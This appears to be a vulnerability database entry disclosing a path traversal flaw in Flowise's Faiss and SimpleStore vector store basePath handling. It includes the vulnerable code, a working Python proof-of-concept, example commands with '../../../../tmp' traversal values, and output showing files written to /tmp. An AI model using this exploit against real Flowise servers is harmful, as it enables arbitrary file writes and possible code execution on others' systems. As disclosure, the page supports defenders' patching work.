Vulnerability Database

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Total vulnerabilities in the database

Flowise: Path Traversal in Vector Store basePath — flowise

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

The Faiss and SimpleStore (LlamaIndex) vector store implementations accept a basePath parameter from user-controlled input and pass it directly to filesystem write operations without any sanitization. An authenticated attacker can exploit this to write vector store data to arbitrary locations on the server filesystem.

Vulnerability Details

| Field | Value | |-------|-------| | Affected File | packages/components/nodes/vectorstores/Faiss/Faiss.ts (lines 79, 91) | | Affected File | packages/components/nodes/vectorstores/SimpleStore/SimpleStore.ts (lines 83-104) |

Prerequisites

  1. Authentication: Valid API token with documentStores:upsert-config permission
  2. Document Store: An existing Document Store with at least one processed chunk
  3. Embedding Credentials: Valid embedding provider credentials (e.g., OpenAI API key)

Root Cause

Faiss (Faiss.ts)

async upsert(nodeData: INodeData): Promise<Partial<IndexingResult>> { const basePath = nodeData.inputs?.basePath as string // User-controlled // ... const vectorStore = await FaissStore.fromDocuments(finalDocs, embeddings) await vectorStore.save(basePath) // Direct filesystem write, no validation }

SimpleStore (SimpleStore.ts)

async upsert(nodeData: INodeData): Promise<Partial<IndexingResult>> { const basePath = nodeData.inputs?.basePath as string // User-controlled let filePath = '' if (!basePath) filePath = path.join(getUserHome(), '.flowise', 'llamaindex') else filePath = basePath // Used directly without sanitization const storageContext = await storageContextFromDefaults({ persistDir: filePath }) // Writes to arbitrary path }

Impact

An authenticated attacker can:

  1. Write files to arbitrary locations on the server filesystem
  2. Overwrite existing files if the process has write permissions
  3. Potential for code execution by writing to web-accessible directories or startup scripts
  4. Data exfiltration by writing to network-mounted filesystems

Proof of Concept

poc.py

#!/usr/bin/env python3 """ POC: Path Traversal in Vector Store basePath (CWE-22) Usage: python poc.py --target http://localhost:3000 --token <API_KEY> --store-id <STORE_ID> --credential <EMBEDDING_CREDENTIAL_ID> """ import argparse import json import urllib.request import urllib.error def post_json(url, data, headers): req = urllib.request.Request( url, data=json.dumps(data).encode("utf-8"), headers={**headers, "Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=120) as resp: return resp.status, resp.read().decode("utf-8", errors="replace") def main(): ap = argparse.ArgumentParser() ap.add_argument("--target", required=True) ap.add_argument("--token", required=True) ap.add_argument("--store-id", required=True) ap.add_argument("--credential", required=True) ap.add_argument("--base-path", default="/tmp/flowise-path-traversal-poc") args = ap.parse_args() payload = { "storeId": args.store_id, "vectorStoreName": "faiss", "vectorStoreConfig": {"basePath": args.base_path}, "embeddingName": "openAIEmbeddings", "embeddingConfig": {"credential": args.credential}, } url = args.target.rstrip("/") + "/api/v1/document-store/vectorstore/insert" headers = {"Authorization": f"Bearer {args.token}"} try: status, body = post_json(url, payload, headers) print(body) except urllib.error.HTTPError as e: print(e.read().decode()) if __name__ == "__main__": main()

Setup

  1. Create a Document Store in Flowise UI
  2. Add a Document Loader (e.g., Plain Text) with any content
  3. Click "Process" to create chunks
  4. Note the Store ID from the URL
  5. Get your embedding credential ID from Settings → Credentials

Exploitation

# Write to /tmp python poc.py \ --target http://127.0.0.1:3000 \ --token <API_TOKEN> \ --store-id <STORE_ID> \ --credential <OPENAI_CREDENTIAL_ID> \ --base-path /tmp/flowise-pwned # Path traversal variant python poc.py \ --target http://127.0.0.1:3000 \ --token <API_TOKEN> \ --store-id <STORE_ID> \ --credential <OPENAI_CREDENTIAL_ID> \ --base-path "../../../../tmp/traversal-test"

Evidence

$ python poc.py --target http://127.0.0.1:3000/ --token <TOKEN> --store-id 30af9716-ea51-47e6-af67-5a759a835100 --credential bb1baf6e-acb7-4ea0-b167-59a09a28108f --base-path /tmp/flowise-pwned {"numAdded":1,"addedDocs":[{"pageContent":"Lorem Ipsum","metadata":{"docId":"d84d9581-0778-454d-984e-42b372b1b555"}}],"totalChars":0,"totalChunks":0,"whereUsed":[]} $ ls -la /tmp/flowise-pwned/ total 16 drwxr-xr-x 4 user wheel 128 Jan 17 12:00 . drwxrwxrwt 12 root wheel 384 Jan 17 12:00 .. -rw-r--r-- 1 user wheel 1234 Jan 17 12:00 docstore.json -rw-r--r-- 1 user wheel 5678 Jan 17 12:00 faiss.index
  • Published: Apr 16, 2026
  • Updated: Apr 17, 2026
  • GHSA: GHSA-w6v6-49gh-mc9w
  • Severity: Medium
  • Exploit:
  • CISA KEV:

No technical information available.

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CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

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Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

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